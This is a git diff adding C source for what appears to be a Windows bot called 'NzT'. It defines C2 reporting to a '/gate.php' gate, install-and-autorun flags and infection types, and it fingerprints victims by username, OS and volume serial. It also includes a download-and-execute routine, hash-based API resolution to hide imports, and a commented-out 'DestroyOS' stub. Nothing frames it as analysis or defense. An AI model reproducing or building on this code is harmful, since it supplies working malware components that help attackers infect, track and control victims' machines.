_NT_H_ \ No newline at end of file diff --git a/src/Shared/ntdll_hash.h b/src/Shared/ntdll_hash.h new file mode 100644 index 0000000..101bdf2 --- /dev/null +++ b/src/Shared/ntdll_hash.h @@ -0,0 +1,45 @@ +#ifndef _NT_HASH_H_ +#define _NT_HASH_H_ + +#define HASH_NTDLL 0x26797e77 +#define HASH_NTDLL_RTLGETVERSION 0xb46508b5 +#define HASH_NTDLL_RTLRANDOMEX 0x9ab4737e +#define HASH_NTDLL_NTCREATETHREAD 0xca6b0d7b +#define HASH_NTDLL_NTQUERYINFORMATIONPROCESS 0xa5c44c50 +#define HASH_NTDLL_NTCREATEUSERPROCESS 0x05aaa327 +#define HASH_NTDLL_NTMAPVIEWOFSECTION 0xa4163ebc +#define HASH_NTDLL_NTCREATESECTION 0x9eee4b80 +#define HASH_NTDLL_LDRLOADDLL 0x183679f2 +#define HASH_NTDLL_LDRGETDLLHANDLE 0xe21c1c46 +#define HASH_NTDLL_NTWRITEVIRTUALMEMORY 0xe4879939 +#define HASH_NTDLL_NTALLOCATEVIRTUALMEMORY 0xe0762feb +#define HASH_NTDLL_NTPROTECTVIRTUALMEMORY 0x5c2d1a97 +#define HASH_NTDLL_NTDEVICEIOCONTROLFILE 0x5c8e65ac +#define HASH_NTDLL_NTSETCONTEXTTHREAD 0xe1453b98 +#define HASH_NTDLL_NTOPENPROCESS 0xdbf381b5 +#define HASH_NTDLL_NTCLOSE 0x0d09c750 +#define HASH_NTDLL_NTCREATEFILE 0x3ee6cc56 +#define HASH_NTDLL_NTOPENFILE 0xa1b1dc21 +#define HASH_NTDLL_NTDELETEFILE 0xff9bc7af +#define HASH_NTDLL_NTREADVIRTUALMEMORY 0x81223212 +#define HASH_NTDLL_NTQUERYVIRTUALMEMORY 0x03f6f38c +#define HASH_NTDLL_NTOPENTHREAD 0xb7a26d79 +#define HASH_NTDLL_NTQUERYINFORMATIONTHREAD 0x31133574 +#define HASH_NTDLL_NTRESUMETHREAD 0x6273b572 +#define HASH_NTDLL_LDRINITIALIZETHUNK 0xfcea01e0 +#define HASH_NTDLL_NTFREEVIRTUALMEMORY 0xe9d6ce5e +#define HASH_NTDLL_NTFLUSHINSTRUCTIONCACHE 0x85bf2f9c +#define HASH_NTDLL_NTSETINFORMATIONTHREAD 0x466f2056 +#define HASH_NTDLL_NTQUERYSYSTEMINFORMATION 0x97fd2398 +#define HASH_NTDLL_LDRQUERYPROCESSMODULEINFORMATION 0xa1b699e6 +#define HASH_NTDLL_RTLINITUNICODESTRING 0x7aa7b69b +#define HASH_NTDLL_NTWRITEFILE 0x3afbe45b +#define HASH_NTDLL_NTREADFILE 0xa2c81105 +#define HASH_NTDLL_NTDELAYEXECUTION 0xf5a86278 +#define HASH_NTDLL_NTOPENKEY 0xa6951756 +#define HASH_NTDLL_NTSETVALUEKEY 0xa566a93e +#define HASH_NTDLL_NTQUERYVALUEKEY 0x55ba7014 +#define HASH_NTDLL_RTLFORMATCURRENTUSERKEYPATH 0x7fa58340 +#define HASH_NTDLL_NTQUERYINFORMATIONFILE 0xf675d37d + +#endif \ No newline at end of file diff --git a/src/Shared/nzt.h b/src/Shared/nzt.h new file mode 100644 index 0000000..83e7c0c --- /dev/null +++ b/src/Shared/nzt.h @@ -0,0 +1,34 @@ +#ifndef __BOT_H__ +#define __BOT_H__ + +#include "api.h" + +#define DEBUG + +#define _REPORT // Report to HTTP C2 +#define _INSTALL // Install to system and autorun + +typedef INT WINERROR; // One of the Windows error codes defined within winerror.h +#define ERROR_UNSUCCESSFULL 0xffffffff // Common unsuccessfull code +#define INVALID_INDEX (-1) + +#define CURRENT_PROCESS (HANDLE)-1 +#define API(Function) NzT.Api.p##Function + +typedef enum INFECTION_TYPES +{ + RUNNING_INFECTION = 1, + NEW_INFECTION = 2 +} INFECTION_TYPE; + +typedef struct +{ + API_FUNCTIONS Api; + API_MODULES Modules; + CRC Crc; + INFECTION_TYPE Type; +} NzT_T; + +extern NzT_T NzT; + +#endif __BOT_H__ \ No newline at end of file diff --git a/src/Shared/registry.c b/src/Shared/registry.c new file mode 100644 index 0000000..d945697 --- /dev/null +++ b/src/Shared/registry.c @@ -0,0 +1,171 @@ +#include "registry.h" +#include "nzt.h" +#include "utils.h" +#include "crt.h" + +static LPWSTR GetRegistryStartPath(INT Hive) +{ + LPWSTR Path = NULL; + UNICODE_STRING US; + + if (Hive == HIVE_HKEY_LOCAL_MACHINE) + { + if (!StringConcatW(&Path, L"\\Registry\\Machine\\")) + return NULL; + } + else + { + MemoryZero(&US, sizeof(UNICODE_STRING)); + + if (API(RtlFormatCurrentUserKeyPath(&US)) >= 0) + { + if (!StringConcatW(&Path, US.Buffer)) + return NULL; + } + } + + if (!StringEndsWithSlashW(Path)) + { + if (!StringConcatW(&Path, L"\\")) + { + Free(Path); + Path = NULL; + } + } + + return Path; +} + +BOOL RegistryOpenKeyEx(CONST LPWSTR KeyPath, HANDLE RegistryHandle, ACCESS_MASK AccessMask) +{ + OBJECT_ATTRIBUTES OJ; + UNICODE_STRING US; + BOOL Status = FALSE; + + if (!StringToUnicode(&US, KeyPath)) + return FALSE; + + MemoryZero(&OJ, sizeof(OBJECT_ATTRIBUTES)); + + OJ.Length = sizeof(OBJECT_ATTRIBUTES); + OJ.Attributes = OBJ_CASE_INSENSITIVE; + OJ.ObjectName = &US; + + if (API(NtOpenKey)(RegistryHandle, AccessMask, &OJ) >= 0) + Status = TRUE; + + return TRUE; +} + +BOOL RegistryReadValueEx(CONST LPWSTR KeyPath, CONST LPWSTR Name, LPWSTR* Value) +{ + HANDLE Key; + UNICODE_STRING US; + KEY_VALUE_PARTIAL_INFORMATION* KVPI; + KEY_VALUE_PARTIAL_INFORMATION KV; + DWORD Size = 0; + BOOL Status = FALSE; + + if (!StringToUnicode(&US, Name)) + return FALSE; + + if (!RegistryOpenKeyEx(KeyPath, &Key, KEY_READ)) + return FALSE; + + MemoryZero(&KV, sizeof(KEY_VALUE_PARTIAL_INFORMATION)); + + API(NtQueryValueKey)(Key, &US, KeyValuePartialInformation, &KV, sizeof(KEY_VALUE_PARTIAL_INFORMATION), &Size); + + if (Size != 0) + { + if ((KVPI = Malloc(Size)) != 0) + { + if (API(NtQueryValueKey)(Key, &US, KeyValuePartialInformation, KVPI, Size, &Size) >= 0) + { + if ((*Value = Malloc(KVPI->DataLength + 2)) != 0) + { + MemoryCopy(*Value, KVPI->Data, KVPI->DataLength); + Status = TRUE; + } + } + + Free(KVPI); + } + + API(NtClose)(Key); + } + + return Status; +} + +BOOL RegistryReadValue(INT Hive, CONST LPWSTR Path, CONST LPWSTR Name, LPWSTR* Value) +{ + LPWSTR RegistryPath = NULL; + BOOL Status = FALSE; + + if ((RegistryPath = GetRegistryStartPath(Hive)) == 0) + return FALSE; + + if (StringConcatW(&RegistryPath, Path)) + Status = RegistryReadValueEx(RegistryPath, Name, Value); + + Free(RegistryPath); + + return Status; + +} +/* +WINERROR RegistryReadValue( + LPTSTR ValueName, + PCHAR* Buffer, + PULONG BufferSize +) +{ + WINERROR Status = NO_ERROR; + HKEY SubKey; + ULONG DataType = 0; + PCHAR pBuffer; + + if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR) + { + if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, NULL, BufferSize)) == NO_ERROR) + { + if (pBuffer == Malloc(*BufferSize)) + { + if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, pBuffer, BufferSize)) == NO_ERROR) + Buffer = pBuffer; + else + Free(pBuffer); + } //if (pBuffer == Malloc(*BufferSize)) + else + Status = ERROR_NOT_ENOUGH_MEMORY; + } // if ((Status = RegQueryValueEx(SubKey, ValueName, 0, &DataType, NULL, BufferSize)) == NO_ERROR) + RegCloseKey(SubKey); + } // if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR) + + return Status; +} + +WINERROR RegistryWriteValue( + LPTSTR ValueName, + PCHAR Buffer, + ULONG BufferSize, + ULONG Type +) +{ + BOOL Status = NO_ERROR; + HKEY SubKey; + ULONG DataType = 0; + + if ((Status = RegOpenKey(HKEY_CURRENT_USER, "", &SubKey)) == NO_ERROR) + { + if (Buffer) + Status = RegSetValueEx(SubKey, ValueName, 0, Type, Buffer, BufferSize); + else + Status = RegDeleteValue(SubKey, ValueName); + + RegCloseKey(SubKey); + } + + return Status; +}*/ \ No newline at end of file diff --git a/src/Shared/registry.h b/src/Shared/registry.h new file mode 100644 index 0000000..680e118 --- /dev/null +++ b/src/Shared/registry.h @@ -0,0 +1,14 @@ +#ifndef __REGISTRY_H__ +#define __REGISTRY_H__ + +enum REGISTRY_HIVE +{ + HIVE_HKEY_CURRENT_USER = 0, + HIVE_HKEY_LOCAL_MACHINE = 1 +}; + +BOOL RegistryOpenKeyEx(CONST LPWSTR KeyPath, HANDLE RegistryHandle, ACCESS_MASK AccessMask); +BOOL RegistryReadValueEx(CONST LPWSTR KeyPath, CONST LPWSTR Name, LPWSTR* Value); +BOOL RegistryReadValue(INT Hive, CONST LPWSTR Path, CONST LPWSTR Name, LPWSTR* Value); + +#endif \ No newline at end of file diff --git a/src/Shared/shell32_functions.h b/src/Shared/shell32_functions.h new file mode 100644 index 0000000..2555ca8 --- /dev/null +++ b/src/Shared/shell32_functions.h @@ -0,0 +1,9 @@ +#ifndef __SHELL32_FUNCTIONS_H__ +#define __SHELL32_FUNCTIONS_H__ + +#include +#include + +typedef HRESULT(WINAPI* ptSHGetFolderPathW)(_Reserved_ HWND hwnd, _In_ int csidl, _In_opt_ HANDLE hToken, _In_ DWORD dwFlags, _Out_writes_(MAX_PATH) LPWSTR pszPath); + +#endif //__SHELL32_FUNCTIONS_H__ \ No newline at end of file diff --git a/src/Shared/shell32_hash.h b/src/Shared/shell32_hash.h new file mode 100644 index 0000000..a9ecac8 --- /dev/null +++ b/src/Shared/shell32_hash.h @@ -0,0 +1,7 @@ +#ifndef __SHELL32_HASH_H__ +#define __SHELL32_HASH_H__ + +#define HASH_SHELL32 0x3b42cf7f +#define HASH_SHELL32_SHGETFOLDERPATHW 0xc7652b3f + +#endif //__SHELL32_HASH_H__ \ No newline at end of file diff --git a/src/Shared/strings.h b/src/Shared/strings.h new file mode 100644 index 0000000..ff84e6f --- /dev/null +++ b/src/Shared/strings.h @@ -0,0 +1,10 @@ +#ifndef __STRINGS_H__ +#define __STRINGS_H__ + +#define STRING_REPORT_GATE_URL "/gate.php" +#define STRING_REPORT_DATA "type=%d&guid=%s&os=%d&arch=%d&username=%s" + +#define WSTRING_BACKSLASH L"\\" +#define WSTRING_DOT_EXE L".exe" + +#endif \ No newline at end of file diff --git a/src/Shared/user32_functions.h b/src/Shared/user32_functions.h new file mode 100644 index 0000000..7b97271 --- /dev/null +++ b/src/Shared/user32_functions.h @@ -0,0 +1,22 @@ +#ifndef __USER32_FUNCTIONS_H__ +#define __USER32_FUNCTIONS_H__ + +#include + +typedef int(WINAPI* ptMessageBoxA)( + _In_opt_ HWND, + _In_opt_ LPCSTR, + _In_opt_ LPCSTR, + _In_ UINT + ); + +typedef int (WINAPIV* ptwsprintfW)( + _Out_ LPWSTR, + _In_ _Printf_format_string_ LPCWSTR, + ...); + +typedef BOOL(WINAPI* ptGetCursorPos)( + _Out_ LPPOINT lpPoint + ); + +#endif //__USER32_FUNCTIONS_H__ \ No newline at end of file diff --git a/src/Shared/user32_hash.h b/src/Shared/user32_hash.h new file mode 100644 index 0000000..d5c3ba4 --- /dev/null +++ b/src/Shared/user32_hash.h @@ -0,0 +1,10 @@ +#ifndef __USER32_HASH__ +#define __USER32_HASH__ + +#define HASH_USER32 0x48fa9930 +#define HASH_USER32_MESSAGEBOXA 0x572D5D8E +#define HASH_USER32_WSPRINTFW 0x201d0dd6 +#define HASH_USER32_WSPRINTFA 0xd4c9b887 +#define HASH_USER32_GETCURSORPOS 0x89606806 + +#endif //__USER32_HASH__ \ No newline at end of file diff --git a/src/Shared/utils.c b/src/Shared/utils.c new file mode 100644 index 0000000..5a89cbb --- /dev/null +++ b/src/Shared/utils.c @@ -0,0 +1,384 @@ +#include "utils.h" +#include "crt.h" +#include "nzt.h" +#include "config.h" +#include "registry.h" + +DWORD GenerateSeed(DWORD Seed) +{ + return (NZT_VERSION + Seed); +} + +DWORD RandomNumber(DWORD Seed) +{ + ULONG Random = 0; + Random = Seed; + return API(RtlRandomEx(&Random)); +} + +DWORD GetRandomNumber() +{ + ULONG Random; + POINT Point; + + MemoryZero(&Point, sizeof(POINT)); + + if (!API(GetCursorPos)(&Point)) + return 0; + + Random = (Point.x * Point.y) * API(GetTickCount()); + + return RandomNumber(Random); +} + +DWORD GetOperatingSystem() +{ + DWORD OS = 0; + OSVERSIONINFOEXW Version; + + MemoryZero(&Version, sizeof(OSVERSIONINFOEXW)); + Version.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); + + if (API(RtlGetVersion) != NULL) + API(RtlGetVersion)((PRTL_OSVERSIONINFOW)&Version); + + if (API(RtlGetVersion) == NULL) + API(GetVersionExW)((LPOSVERSIONINFOW)&Version); + + if (Version.dwMajorVersion == 5 && Version.dwMinorVersion == 0) + OS = WINDOWS_2000; + else if (Version.dwMajorVersion == 5 && Version.dwMinorVersion > 0) + OS = WINDOWS_XP; + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 0) + OS = WINDOWS_VISTA; + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 1) + OS = WINDOWS_7; + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 2) + OS = WINDOWS_8; + else if (Version.dwMajorVersion == 6 && Version.dwMinorVersion == 3) + OS = WINDOWS_8_1; + else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0) + OS = WINDOWS_10; + else if (Version.dwMajorVersion == 10 && Version.dwMinorVersion == 0 && Version.dwBuildNumber >= 22000) + OS = WINDOWS_11; + + return OS; +} + +PPEB GetPeb(VOID) +{ +#ifdef WIN64 + return (PPEB)__readgsqword(0x60); +#else + return (PPEB)__readfsdword(0x30); +#endif +} + +BOOL Is64Bit() +{ +#if defined(_WIN64) + return TRUE; // 64-bit programs run only on Win64 +#elif defined(_WIN32) + // 32-bit programs run on both 32-bit and 64-bit Windows + // so must sniff + BOOL b64 = FALSE; + return API(IsWow64Process)(API(GetCurrentProcess()), &b64) && b64; +#else + return FALSE; // Win64 does not support Win16 +#endif +} + +PDWORD GetSerialNumber() +{ + wchar_t VolumeBuffer[MAX_PATH], FileSysName[MAX_PATH]; + static DWORD SerialNumber; + DWORD MaximumComponentLength; + DWORD SysFlags; + HANDLE hVolume; + BOOL bResult = FALSE; + + MemoryZero(&VolumeBuffer, sizeof(VolumeBuffer)); + MemoryZero(&FileSysName, sizeof(FileSysName)); + + if ((hVolume = API(FindFirstVolumeW)(VolumeBuffer, MAX_PATH)) == INVALID_HANDLE_VALUE) + return 0; + + bResult = API(GetVolumeInformationW)(VolumeBuffer, NULL, MAX_PATH, &SerialNumber, &MaximumComponentLength, &SysFlags, FileSysName, MAX_PATH); + + API(FindVolumeClose)(hVolume); + + if (bResult) + return &SerialNumber; + + return 0; +} + +LPSTR GetUsername() +{ + static CHAR Buffer[255]; + CHAR Username[255]; + DWORD Size = 255; + + MemoryZero(&Username, sizeof(Username)); + + if (API(GetUserNameA)(Username, &Size)) + API(wsprintfA)(Buffer, "%s", Username); + + return Buffer; +} + +BOOL GetModulePath( + HMODULE Module, // a handle of the module within current process + PVOID* ModulePath, // returned module path + BOOL bUnicode +) +{ + BOOL Status; + ULONG rSize, Size = MAX_PATH; + PVOID Path; + + while ((Path = Malloc(Size * sizeof(WCHAR))) && + (rSize = (API(GetModuleFileNameW)(Module, Path, Size))) && + (Size == rSize)) + { + Size += MAX_PATH; + Free(Path); + } + + if (Path) + { + if (rSize) + { + *ModulePath = Path; + Status = TRUE; + } + else + { + Status = FALSE; + Free(Path); + } + } + else + Status = FALSE; + + return(Status); +} + +LPWSTR GetSystem32() +{ + wchar_t SystemDirectory[MAX_PATH]; + MemoryZero(&SystemDirectory, sizeof(SystemDirectory)); + + if (API(GetSystemDirectoryW)(SystemDirectory, MAX_PATH) != 0) + { + return StringCopyW(SystemDirectory, StringLengthW(SystemDirectory)); + } + + return NULL; +} + +PWCHAR GetFolderPath(DWORD CSIDL) +{ + LPWSTR FolderPath; + WCHAR Buffer[MAX_PATH]; + + MemoryZero(&FolderPath, sizeof(FolderPath)); + API(SHGetFolderPathW)(0, CSIDL, 0, 0, FolderPath); + + if ((FolderPath = StringCopyW(Buffer, StringLengthW(Buffer))) == NULL) + return NULL; + + if (!StringEndsWithSlashW(FolderPath)) + StringConcatW(&FolderPath, L"\\"); + + return FolderPath; +} + +LPWSTR GetDirectoryPath(int PathIndex) +{ + LPWSTR Names[] = { L"AppData", L"Desktop", L"Startup" }; + LPWSTR Path; + + if (RegistryReadValue(HIVE_HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", Names[PathIndex], &Path)) + { + if (!StringEndsWithSlashW(Path)) + { + if (!StringConcatW(&Path, L"\\")) + { + Free(Path); + Path = NULL; + } + } + + return Path; + } + + return NULL; +} + +DWORD GetProcessIdByHandle(HANDLE Process) +{ + DWORD PbiSize = 0; + PROCESS_BASIC_INFORMATION pbi; + + MemoryZero(&pbi, sizeof(PROCESS_BASIC_INFORMATION)); + + if (API(NtQueryInformationProcess)(Process, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &PbiSize) >= 0 && pbi.PebBaseAddress != 0) + { + return pbi.UniqueProcessId; + } + + return -1; +} + +DWORD GetProcessIdByHash(DWORD Hash) +{ + HANDLE Snapshot; + PROCESSENTRY32W ProcessEntry; + DWORD ProcessId = -1; + DWORD CurrentHash = 0; + + if ((Snapshot = API(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE) + return -1; + + if (!API(Process32FirstW)(Snapshot, &ProcessEntry)) + { + API(CloseHandle)(Snapshot); + return -1; + } + + do + { + CurrentHash = Crc32Hash(ProcessEntry.szExeFile, StringLengthW(ProcessEntry.szExeFile) * 2); + + if (CurrentHash == Hash) + { + ProcessId = ProcessEntry.th32ProcessID; + break; + } + } while (API(Process32NextW(Snapshot, &ProcessEntry))); + + API(CloseHandle)(Snapshot); + return ProcessId; +} + +HANDLE GetProcessByName(LPWSTR name) +{ + DWORD pid = 0; + + HANDLE snapshot = API(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, 0); + PROCESSENTRY32W process; + MemoryZero(&process, sizeof(process)); + process.dwSize = sizeof(process); + + if (API(Process32FirstW)(snapshot, &process)) + { + do + { + if (!StringCompareW(process.szExeFile, name)) + { + pid = process.th32ProcessID; + break; + } + } while (API(Process32NextW)(snapshot, &process)); + } + + API(CloseHandle)(snapshot); + + if (pid != 0) + return API(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, pid); + + + return NULL; +} + +BOOL StartFileProcess(CONST PWCHAR Path, BOOL ShowWindow) +{ + STARTUPINFOW StartupInfo; + PROCESS_INFORMATION ProcessInformation; + DWORD Show = ShowWindow ? CREATE_NO_WINDOW : 0; + + MemoryZero(&StartupInfo, sizeof(STARTUPINFOW)); + MemoryZero(&ProcessInformation, sizeof(PROCESS_INFORMATION)); + + if (!API(CreateProcessW)(Path, Path, 0, 0, FALSE, Show, 0, 0, &StartupInfo, &ProcessInformation)) + return FALSE; + + API(CloseHandle)(ProcessInformation.hProcess); + API(CloseHandle)(ProcessInformation.hThread); + + return TRUE; +} + +BOOL DownloadFile(CONST PCHAR URL, BOOL Execute) +{ + LPWSTR TempPath; + WCHAR DownloadPath[MAX_PATH], wzURL[MAX_PATH]; + + if ((TempPath = GetFolderPath(CSIDL_LOCAL_APPDATA)) == NULL) + return FALSE; + + MemoryZero(&DownloadPath, sizeof(DownloadPath)); + API(wsprintfW)(DownloadPath, L"%s%d.exe", TempPath, GetRandomNumber()); + + MemoryZero(&wzURL, sizeof(wzURL)); + API(MultiByteToWideChar)(CP_ACP, MB_PRECOMPOSED, URL, StringLengthA(URL), (LPWSTR)&wzURL, MAX_PATH); + + /*if (URLDownloadToFileW(0, wzURL, DownloadPath, 0, 0) != S_OK) + return FALSE;*/ + + if (Execute) + return StartFileProcess(DownloadPath, TRUE); + + return TRUE; +} + +VOID _Sleep(DWORD Miliseconds) +{ + LARGE_INTEGER li; + li.QuadPart = -((LONGLONG)Miliseconds * 10000); + API(NtDelayExecution)(FALSE, &li); +} + +HANDLE CreateMutexOfProcess(DWORD ProcessID) +{ + HANDLE Mutex; + wchar_t wzMutex[255]; + + MemoryZero(&wzMutex, sizeof(wzMutex)); + API(wsprintfW)(wzMutex, L"%x%x", GetSerialNumber(), ProcessID); + + if ((Mutex = API(OpenMutexW)(SYNCHRONIZE, FALSE, wzMutex)) == 0) + { + return API(CreateMutexW)(0, FALSE, wzMutex); + } + + API(CloseHandle)(Mutex); + + return 0; +} + +/*WINERROR DestroyOS() +{ + WINERROR Status = ERROR_NOT_ENOUGH_MEMORY; + LPTSTR Drive, Volume; + HANDLE File; + + if (Drive = Malloc(MAX_PATH)) + { + if (GetWindowsDirectory(Drive, MAX_PATH)) + { + Volume = strchr(Drive, ':'); + Volume[1] = 0; + Volume += 2; + + wsprintf(Volume, "", Drive); + + File = CreateFileA(Volume, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0); + if (File != INVALID_HANDLE_VALUE) + { + + } + } + } +}*/ \ No newline at end of file diff --git a/src/Shared/utils.h b/src/Shared/utils.h new file mode 100644 index 0000000..1d27014 --- /dev/null +++ b/src/Shared/utils.h @@ -0,0 +1,85 @@ +#ifndef _UTILS_H_ +#define _UTILS_H_ + +#include "crypto.h" + +#pragma intrinsic(_byteswap_ushort) +#pragma intrinsic(_byteswap_ulong) +#define htonS(x) _byteswap_ushort(x) +#define htonL(x) _byteswap_ulong(x) + +#ifdef DEBUG +#define DebugPrint(args, ...) \ + { char* buff = (char*)Malloc(128); \ + API(wsprintfA)(buff, args, __VA_ARGS__); \ + API(OutputDebugStringA)((LPCSTR)buff); \ + Free(buff); } + +#define DebugPrintW(args, ...) \ + { wchar_t* buff = (wchar_t*)Malloc(128); \ + API(wsprintfW)(buff, args, __VA_ARGS__); \ + API(OutputDebugStringW)((LPCWSTR)buff); \ + Free(buff); } +#else +#define DebugPrint(x, ...) +#define DebugPrintW(x, ...) +#endif + +/* Enum */ +enum OS_VERSION +{ + WINDOWS_2000 = 0, + WINDOWS_XP = 1, + WINDOWS_VISTA = 2, + WINDOWS_7 = 3, + WINDOWS_8 = 4, + WINDOWS_8_1 = 5, + WINDOWS_10 = 6, + WINDOWS_11 = 7, + WINDOWS_SERVER_2000 = 8, + WINDOWS_SERVER_2003 = 9, + WINDOWS_SERVER_2008 = 10, + WINDOWS_SERVER_2012 = 11, + WINDOWS_SERVER_2016 = 12 +}; + +enum OS_ARCHITECTURE +{ + X86 = 0, + X64 = 1 +}; + +enum OS_PATH +{ + PATH_APPDATA = 0, + PATH_DESKTOP, + PATH_STARTUP +}; + +/* Functions */ +DWORD GenerateSeed(DWORD Seed); +DWORD RandomNumber(DWORD Seed); +DWORD GetRandomNumber(); + +BOOL GetModulePath( + HMODULE Module, // a handle of the module within current process + PVOID* ModulePath, // returned module path + BOOL bUnicode +); + + +BOOL DownloadFile(CONST PCHAR URL, BOOL Execute); +DWORD GetOperatingSystem(); +PPEB GetPeb(VOID); +BOOL Is64Bit(); +BOOL IsAdmin(); +PDWORD GetSerialNumber(); +LPSTR GetUsername(); +DWORD GetProcessIdByHandle(HANDLE Process); +DWORD GetProcessIdByHash(DWORD Hash); +HANDLE CreateMutexOfProcess(DWORD ProcessID); +LPWSTR GetSystem32(); +LPWSTR GetDirectoryPath(int PathIndex); +VOID _Sleep(DWORD Miliseconds); + +#endif \ No newline at end of file diff --git a/src/Shared/wininet_functions.h b/src/Shared/wininet_functions.h new file mode 100644 index 0000000..f74b1e7 --- /dev/null +++ b/src/Shared/wininet_functions.h @@ -0,0 +1,72 @@ +#ifndef __WININET_FUNCTIONS_H__ +#define __WININET_FUNCTIONS_H__ + +#include +#include + +typedef HINTERNET(WINAPI* ptInternetOpenW)( + _In_opt_ LPCWSTR lpszAgent, + _In_ DWORD dwAccessType, + _In_opt_ LPCWSTR lpszProxy, + _In_opt_ LPCWSTR lpszProxyBypass, + _In_ DWORD dwFlags + ); + +typedef HINTERNET(WINAPI* ptInternetConnectA)( + _In_ HINTERNET hInternet, + _In_ LPCSTR lpszServerName, + _In_ INTERNET_PORT nServerPort, + _In_opt_ LPCSTR lpszUserName, + _In_opt_ LPCSTR lpszPassword, + _In_ DWORD dwService, + _In_ DWORD dwFlags, + _In_opt_ DWORD_PTR dwContext + ); + +typedef BOOL(WINAPI* ptHttpSendRequestA)( + _In_ HINTERNET hRequest, + _In_reads_opt_(dwHeadersLength) LPCSTR lpszHeaders, + _In_ DWORD dwHeadersLength, + _In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional, + _In_ DWORD dwOptionalLength + ); + +typedef BOOL(WINAPI* ptHttpSendRequestW)( + __in HINTERNET hRequest, + __in_ecount_opt(dwHeadersLength) LPCWSTR lpszHeaders, + __in DWORD dwHeadersLength, + __in_bcount_opt(dwOptionalLength) LPVOID lpOptional, + __in DWORD dwOptionalLength + ); + +typedef HINTERNET(WINAPI* ptHttpOpenRequestA)( + _In_ HINTERNET hConnect, + _In_opt_ LPCSTR lpszVerb, + _In_opt_ LPCSTR lpszObjectName, + _In_opt_ LPCSTR lpszVersion, + _In_opt_ LPCSTR lpszReferrer, + _In_opt_z_ LPCSTR FAR * lplpszAcceptTypes, + _In_ DWORD dwFlags, + _In_opt_ DWORD_PTR dwContext + ); + +typedef BOOL (WINAPI* ptHttpQueryInfoA)( + IN HINTERNET hRequest, + IN DWORD dwInfoLevel, + IN OUT LPVOID lpBuffer, + IN OUT LPDWORD lpdwBufferLength, + IN OUT LPDWORD lpdwIndex +); + +typedef BOOL(WINAPI* ptInternetCloseHandle)( + _In_ HINTERNET hInternet + ); + +typedef BOOL(WINAPI* ptInternetReadFile)( + _In_ HINTERNET hFile, + _Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer, + _In_ DWORD dwNumberOfBytesToRead, + _Out_ LPDWORD lpdwNumberOfBytesRead + ); + +#endif __WININET_FUNCTIONS_H__ \ No newline at end of file diff --git a/src/Shared/wininet_hash.h b/src/Shared/wininet_hash.h new file mode 100644 index 0000000..164d59d --- /dev/null +++ b/src/Shared/wininet_hash.h @@ -0,0 +1,16 @@ +#ifndef __WININET_HASH_H__ +#define __WININET_HASH_H__ + +#define HASH_WININET 0x248685e7 +#define HASH_WININET_HTTPSENDREQUESTA 0xff00b1f6 +#define HASH_WININET_HTTPSENDREQUESTW 0x0bd404a7 +#define HASH_WININET_INTERNETQUERYOPTIONA 0xc54f9558 +#define HASH_WININET_HTTPOPENREQUESTA 0x447d086b +#define HASH_WININET_HTTPOPENREQUESTW 0xb0a9bd3a +#define HASH_WININET_INTERNETCLOSEHANDLE 0xe5191d24 +#define HASH_WININET_INTERNETCONNECTW 0x369b10a5 +#define HASH_WININET_INTERNETCONNECTA 0xc24fa5f4 +#define HASH_WININET_INTERNETOPENW 0x2ec21d6c +#define HASH_WININET_INTERNETREADFILE 0x6cc098f5 + +#endif __WININET_HASH_H__ \ No newline at end of file diff --git a/src/Tools/Dbgview.exe b/src/Tools/Dbgview.exe new file mode 100644 index 0000000000000000000000000000000000000000..bc704d17083a28beddbcdcfd28c7f39e62b88ca7 GIT binary patch literal 887160 zcmeFae|%KM)jxhW$wGjHT{N+%ps`X*i$9Q%3PS9nY={qM+hQdIpZZjvr?dr(3K)cDgQBKF15c$bDsAsJ(MF*dD&>CP?=$!AZerAa zUa#*TpFckE%HFv%XU?2CGjrz5nKN@|+`dlB)if;+f3~e@&3N)(Kz={@$M4a!p%*?k zRNFe}m5Z7^(_gvh7JcypB}(h)FOBs4dB*uqxqmZ%`?sgw#rw?PT2C#LXX>fbcs}#F3x2*^o)`Z7 zggl4;yc^H1vd5n~hUcGWocGj!PUm~WQz!Aha@2)CC!Up~j!F8;QRn`ga5pc$TW47x zSF=!1)24g8+6#OBYn}^pRLk)U@eK8AfAnfvTfRiE9*@fV5$r}Bxy5jfrg=5Q2A3IRf&H|!y@XY!bKs7F3_Q0~c5hry;owXj|8vPNtz~#&C zS#m!BS$Fb4tH86Q5I>oJ0ZqF$^Y;Hj{|*OC`&P57w8hvL_D-6S|DdrDl)F!MS}%Zz!aC>gElR? zj1#S|{`)`|vpnG|V%Fy)U)E0`vdS)QI}y|-^+c|y@!G{Z5S~9zdX4q{b1)MBJQtPm zJrndZUnPIaE<28V;iCDaEe>E!8ZaAW$l3(yAKROkqDD}|lJ*08>gRm(xNjTqHp?P} zc{nM92SH5@xA6hMGp@r1wDJcnP)&&JDqrmBsz`7S@nB}Y!#-|_U z>SZ9qA?%P@b`U8cyCWe;Lp3@2^=`5nZ1y3f&a(b{w}-UP0V|qOU2Q&xQC+dik>32D zX%=c@Av0c|Rke%2)et%tCcfeET{u!*o#c5N(4_NgD1d5EtClMglfq0wN(%V zk<&`HAz*eZsbrj-7xBeb^l0HhQXr{>kV?}^wn~5QGuVUqA^qvu73dd~tNLC9L)OKE z(XNcup*2OVshAaFdxxVslT|FJj#`&XEGv15(?@iPKPMeORQ2{J&X%^_<2HEdE7td% 